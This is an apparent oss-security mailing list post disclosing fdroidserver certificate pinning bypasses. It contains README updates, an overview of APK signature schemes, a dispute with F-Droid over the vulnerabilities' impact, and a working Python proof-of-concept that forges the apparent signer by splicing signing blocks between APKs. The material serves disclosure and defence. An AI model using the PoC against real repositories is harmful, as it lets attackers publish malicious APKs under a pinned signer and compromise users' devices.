Hi! Another update for [1,2,3], still published at [4]: another PoC (bringing the total to 6) and a lot of new background information. I've attached the new and updated files and included the new sections from the README with the updates below.
- Fay [1] https://www.openwall.com/lists/oss-security/2024/04/08/8 [2] https://www.openwall.com/lists/oss-security/2024/04/20/3 [3] https://www.openwall.com/lists/oss-security/2025/01/03/1 [4] https://github.com/obfusk/fdroid-fakesigner-poc ============================================================================ # F-Droid Fake Signer PoC PoC for fdroidserver AllowedAPKSigningKeys certificate pinning bypass. Published: 2024-04-08; updated: 2024-04-14, 2024-04-20, 2024-12-30, 2025-01-06, 2025-01-08, 2025-01-09, 2025-01-10, 2025-01-19. NB: no new updates will be provided solely to correct any further counterfactual statements by F-Droid. We implore them to take responsibility for their mistakes instead of spreading misinformation in order to downplay our findings. NB: see also OVERVIEW.md. [...] ### [Observations] Update (2025-01-06) F-Droid claims that the latest vulnerability "does not affect the repository on f-droid.org". Which suggests that they do not understand the significance of this certificate pinning bypass, or they do not believe certificate pinning is meant to provide protection against a compromise of an upstream repository without a compromise of the upstream signing key. Both are worrying. All of the vulnerabilities described here were discovered by us *by accident*, looking into things like key rotation, signature copying, and security scans for IzzyOnDroid, not vulnerabilities in fdroidserver. The first one was independently discovered and reported a year earlier, and subsequently ignored. The latest vulnerability, the incorrect regex, was not something we specifically predicted. But we warned F-Droid that their approach to handling certificate pinning with custom code independent of the signature verification using apksigner was full of mistakes and fundamentally flawed, which proved to be correct again and again. We recommended "using the official apksig library (used by apksigner) to both verify APK signatures and return the first signer's certificate to avoid these kind of implementation inconsistencies and thus further vulnerabilities like this one". We even provided a Python implementation for that. All of our recommendations were ignored. We find this careless approach to security far more worrying than the impact of the individual vulnerabilities described here. We sincerely wish this document didn't have to exist. We implore F-Droid to do better, to live up to its potential, and do right by its community. ### [Observations] Update (2025-01-08) F-Droid now claims PoC 5a is not an "actionable security vulnerability" because "APKs signed by v1-only are not even installable on latest Android versions". This is false. As long as targetSdk < 30 (and e.g. the official F-Droid client has 29) they will install just fine. We even confirmed this by installing the PoC APK on Android 13-15 just in case, something they apparently neglected to bother with before making that claim. ### [Observations] Update (2025-01-09) F-Droid now claims they can't use the patches as-is because of "code quality issues" (private APIs). Which applies to exactly one patch: the one they already merged 8 months ago (fdroidserver.patch). Because the only way to fix the vulnerability was to monkey-patch androguard (and an updated version is still not available in Debian, nor has the Debian stable fdroidserver package received any patches, despite those packages being maintained by the F-Droid team, so that monkey patch is still needed). They are also downplaying the impact by insisting these vulnerabilities are only a problem for third party repositories relying on fdroidserver; which, even if true, is showing a concerning disregard for the security of the repositories of other projects relying on fdroidserver. Again, we find F-Droid's reaction and the security and code review processes on display here to be highly concerning, far more than the vulnerabilities we reported. ### [Observations] Update (2025-01-19) Quoting the response of F-Droid's Technical Lead [12]: > fdroidserver is fully safe for the tasks it was built for. It has been > independently audited as well (we have two more audits coming up). If you > have a trusted collection of APKs, then fdroidserver provides the entry > point to a trustworthy pipe to the F-Droid client. It cannot protect > against malicious upstreams, upstreams losing their signing keys, etc. It > cannot fix the deprecated v1 signatures. Require v2+ signatures, and > AllowedAPKSigningKeys works with no known weaknesses. Based on the above, we cannot but conclude that despite earlier claims that the "goal of AllowedAPKSigningKeys is to make it easy for non-technical people to manage binary APK repos securely", certificate pinning is in fact not expected to provide any security against e.g. updates from compromised upstream repositories as it assumes a "trusted collection of APKs". We wonder what exactly the intended purpose of certificate pinning is if not to ensure APKs can only be provided by someone in control of the upstream signing key, as this is the kind of security repositories like IzzyOnDroid expected it to provide. We also observe that the 2018 audit predates the implementation of AllowedAPKSigningKeys certificate pinning. Another quote [13]: > [...] why #fdroidserver implements somethings in #Python rather than > scraping #apksigner output. Reliably and securely parsing CLI output over > the long term is really hard to get right because deployed fdroidserver > code has to be future proof, in that it has to support newer apksigner > versions that might have changed its output. For example, #fdroidserver is > coded against apksigner from build-tools version vX.0.0. Someone does `pip > install fdroidserver`. Then at some point, the user upgrades apksigner to > version vY.0.0 which breaks the parsing before fdroidserver supports > apksigner vY.0.0. That breakage needs to fail gracefully, and that is > really hard to do. Much harder than just writing pure Python code to > extract the certificates which is tested against the apksigner test suite. > [...] We agree that parsing apksigner CLI output would be unreliable. Which is why we recommended using the underlying apksig library which has a stable API and even provided code to do exactly that [14]. This suggestion has been consistently ignored with zero rationale given, other than clearly irrelevant objections to parsing CLI output. We vehemently disagree that the chosen approach of using custom Python code that does not verify the signatures and relies on matching specific *behaviour* of specific versions of apksigner (e.g. whether or not and how it verifies v3.1 signatures) to extract the correct certificates is reliable or secure. This is evidenced by the 6th PoC, which works because fdroidserver completely ignores the APK Signature Scheme v3.1 block (and does not use any v1 signatures). We find it concerning that F-Droid constantly chooses to move the goalposts and continues to rely on a fundamentally broken approach for certificate pinning, merely patching [15] known vulnerabilities without ever addressing the underlying cause. We reiterate once again that we recommended "using the official apksig library (used by apksigner) to both verify APK signatures and return the first signer's certificate to avoid these kind of implementation inconsistencies and thus further vulnerabilities [...]". Until a proper reliable implementation of certificate pinning using apksig is provided (if ever), we recommend repositories using AllowedAPKSigningKeys perform their own audit and assess whether the security they wish to provide requires performing certificate pinning themselves or switching to e.g. apkrepotool. [...] ### [PoC] Update (2025-01-19) NB: see code comments for requirements. ```bash $ python3 make-poc-v6.py # uses app4.apk, adds signing block from fake.apk $ python3 fdroid.py # verifies and has fake.apk as signer according to F-Droid True 43238d512c1e5eb2d6569f4a3afbf5523418b82e0a3ed1552770abb9a9c9ccab ``` [...] ### [Scanner] Update (2025-01-19) ```bash $ python3 scan.py poc6.apk 'poc6.apk': No v3 certs even though v3.1 cert is present ``` ## References [...] * [12] https://floss.social/@IzzyOnDroid/113765504171758318 * [13] https://social.librem.one/@eighthave/113820301078034374 * [14] https://gist.github.com/obfusk/cfab950649631c3ece723b9eb277304b * [15] https://gitlab.com/fdroid/fdroidserver/-/issues/1251 ## Links * https://github.com/obfusk/apksigcopier * https://github.com/obfusk/apkrepotool
# F-Droid Certificate Pinning Bypasses - Overview Overview of `fdroidserver` `AllowedAPKSigningKeys` certificate pinning bypasses. Published: 2025-01-10. ## APK Signatures - Android uses 4 different types of APK signatures: v1, v2, v3, and v3.1. - Version 2 was introduced with Android 7, version 3 (essentially version 2 with support for key rotation) with Android 9, version 3.1 (a slightly improved version 3) with Android 13. - An APK can be signed with any combination of these (except v3.1 always comes with a v3 as well), but Android < 7 only supports v1 and Android < 9 only supports v1 and v2, etc. - APKs that target Android 11 (`targetSdk` >= 30) cannot be installed on devices running Android >= 11 if they only have a v1 signature; APKs with a lower `targetSdk` still install fine on any version of Android with only a v1 signature. - Which key an app is signed with does not matter to Android (except for things like verified app links). - But apps cannot be updated without a compatible signature. Links: - https://source.android.com/docs/security/features/apksigning/v2 - https://source.android.com/docs/security/features/apksigning/v3 ## F-Droid Repositories - The f-droid.org repository builds from a checkout of the upstream source code repository and either signs the APK with their own key, or, with Reproducible Builds (~10% of apps), copies the signature from the APK published by the upstream developer(s). - Repositories like IzzyOnDroid do not build from source but publish APKs provided directly by the upstream developer(s). With Reproducible Builds (~30% of apps at IzzyOnDroid), independent rebuilds verify that building from source produces a bitwise identical APK. Links: - https://reproducible-builds.org/ - https://f-droid.org/docs/Reproducible_Builds/ - https://android.izzysoft.de/articles/named/iod-scan-apkchecks - https://android.izzysoft.de/articles/named/review-2024-outlook-2025 ## Certificate Pinning - The `AllowedAPKSigningKeys` setting is meant to pin the certificate of the signing key used. - It ensures only APKs signed with one of the allowed keys can be published in the repository. - For repositories like IzzyOnDroid, this ensures APKs can only be provided by someone in control of the upstream signing key. - For f-droid.org Reproducible Builds it ensures the same. - The f-droid.org repository does not have any other cryptographic checks to prevent updates from compromised upstream repositories: it will build whatever is published in the upstream source code repository (though with Reproducible Builds the build must be reproducible). ## Exploits - Best practice for certificate pinning is to implement it as part of the signature verification; this is what `apkrepotool` does using `apksig`. - The `fdroidserver` implementation uses `apksigner` to verify the APK has a valid signature, but uses completely different code to extract the certificate from the APK. - Multiple exploits have been demonstrated that exploit these differences by creating signatures that are entirely valid according to `apksigner` but for which the `fdroidserver` code returns the wrong certificate fingerprint, one that can be freely chosen, thus completely defeating the certificate pinning protections. Links: - https://github.com/obfusk/fdroid-fakesigner-poc - https://github.com/obfusk/apkrepotool ## Reaction - The first vulnerability was ignored for a year after being publicly reported and only fixed after a PoC and patch were published. - Despite known exploits being patched, new exploits have continuously been discovered. - Despite repeated warnings of bad practice, the `fdroidserver` implementation still uses their own custom code for certificate extraction instead of combining signature verification and certificate extraction into one step using `apksig` (for which code was provided to them, which they ignored). - This approach will likely result in further exploits being discovered and should be considered fundamentally broken. - F-Droid has falsely claimed that "APKs signed by v1-only are not even installable on latest Android versions". - F-Droid has claimed to be unable to use the provided patches as-is because of "code quality issues" (private APIs) despite only the patch they already merged 8 months ago (`fdroidserver.patch`) matching that description. - F-Droid is correct that the certificate pinning bypasses "can only be exploited when an upstream project is compromised first, and only new installations will be affected"; that is indeed how certificate pinning works. - F-Droid deems the latest certificate pinning bypass "low urgency" because it "currently does not affect f-droid.org", showing a concerning disregard for the security requirements of other repositories relying on `fdroidserver` and seemingly confirming that preventing publishing updates from compromised upstream repositories using cryptographic checks is not considered part of the security model of f-droid.org. - F-Droid claims that the "goal of AllowedAPKSigningKeys is to make it easy for non-technical people to manage binary APK repos securely" yet consistently downplays the consequences as not affecting f-droid.org, seemingly disregarding the consequences for those repositories relying on certificate pinning for security for which the feature is ostensibly meant, and offering no rationale for continuing to use a fundamentally broken implementation. - Despite being maintained by the F-Droid team, the Debian stable `fdroidserver` and `androguard` packages still have not received any of the patches 8 months later (almost two years after the first vulnerability was reported). Links: - https://gitlab.com/fdroid/fdroidserver/-/issues/1128 - https://gitlab.com/fdroid/fdroidserver/-/merge_requests/1466 - https://floss.social/@IzzyOnDroid/113765504171758318 - https://floss.social/@fdroidorg/113804900156856580
#!/usr/bin/python3 # encoding: utf-8 # SPDX-FileCopyrightText: 2025 FC (Fay) Stegerman <f...@obfusk.net> # SPDX-License-Identifier: GPL-3.0-or-later import apksigcopier import apksigtool import dataclasses # requires: # - app4.apk with minSdk >= 33 # - fake.apk with v2 signature # - apksigner from e.g. build-tools 33.0.0 (32.0.0 is too old, 34.0.0 too new, # it must be between commits 5be82c38d60ef3c1d9fc42bdbca8495434c88f0d and # 8add6a4c0cc3e92c29f61ef83325da3bb6f0b28b) apksigcopier.copy_apk("app4.apk", "poc-unsigned.apk") apksigtool.APK_SIGNATURE_SCHEME_V3_BLOCK_ID = apksigtool.APK_SIGNATURE_SCHEME_V31_BLOCK_ID apksigtool.do_sign("poc-unsigned.apk", "poc.apk", cert="cert-rsa.der", key="privkey-rsa.der", no_v1=True, no_v2=True) _, sig_block_a = old_v2_sig_a = apksigtool.extract_v2_sig("poc.apk") _, sig_block_b = old_v2_sig_b = apksigtool.extract_v2_sig("fake.apk") blk_a = apksigtool.parse_apk_signing_block(sig_block_a, allow_nonzero_verity=True) blk_b = apksigtool.parse_apk_signing_block(sig_block_b, allow_nonzero_verity=True) blk_a_pairs = list(blk_a.pairs) blk_b_pairs = [p for p in blk_b.pairs if p.id == apksigtool.APK_SIGNATURE_SCHEME_V2_BLOCK_ID] size = sum(len(p.dump()) for p in blk_a_pairs + blk_b_pairs) + 32 + 12 pad_blk = apksigtool.VerityPaddingBlock(4096 - size % 4096) pairs = tuple(blk_a_pairs + blk_b_pairs + [apksigtool.Pair.from_block(pad_blk)]) blk_poc = dataclasses.replace(blk_a, pairs=pairs) apksigtool.replace_apk_signing_block("poc.apk", blk_poc.dump(), old_v2_sig=old_v2_sig_a)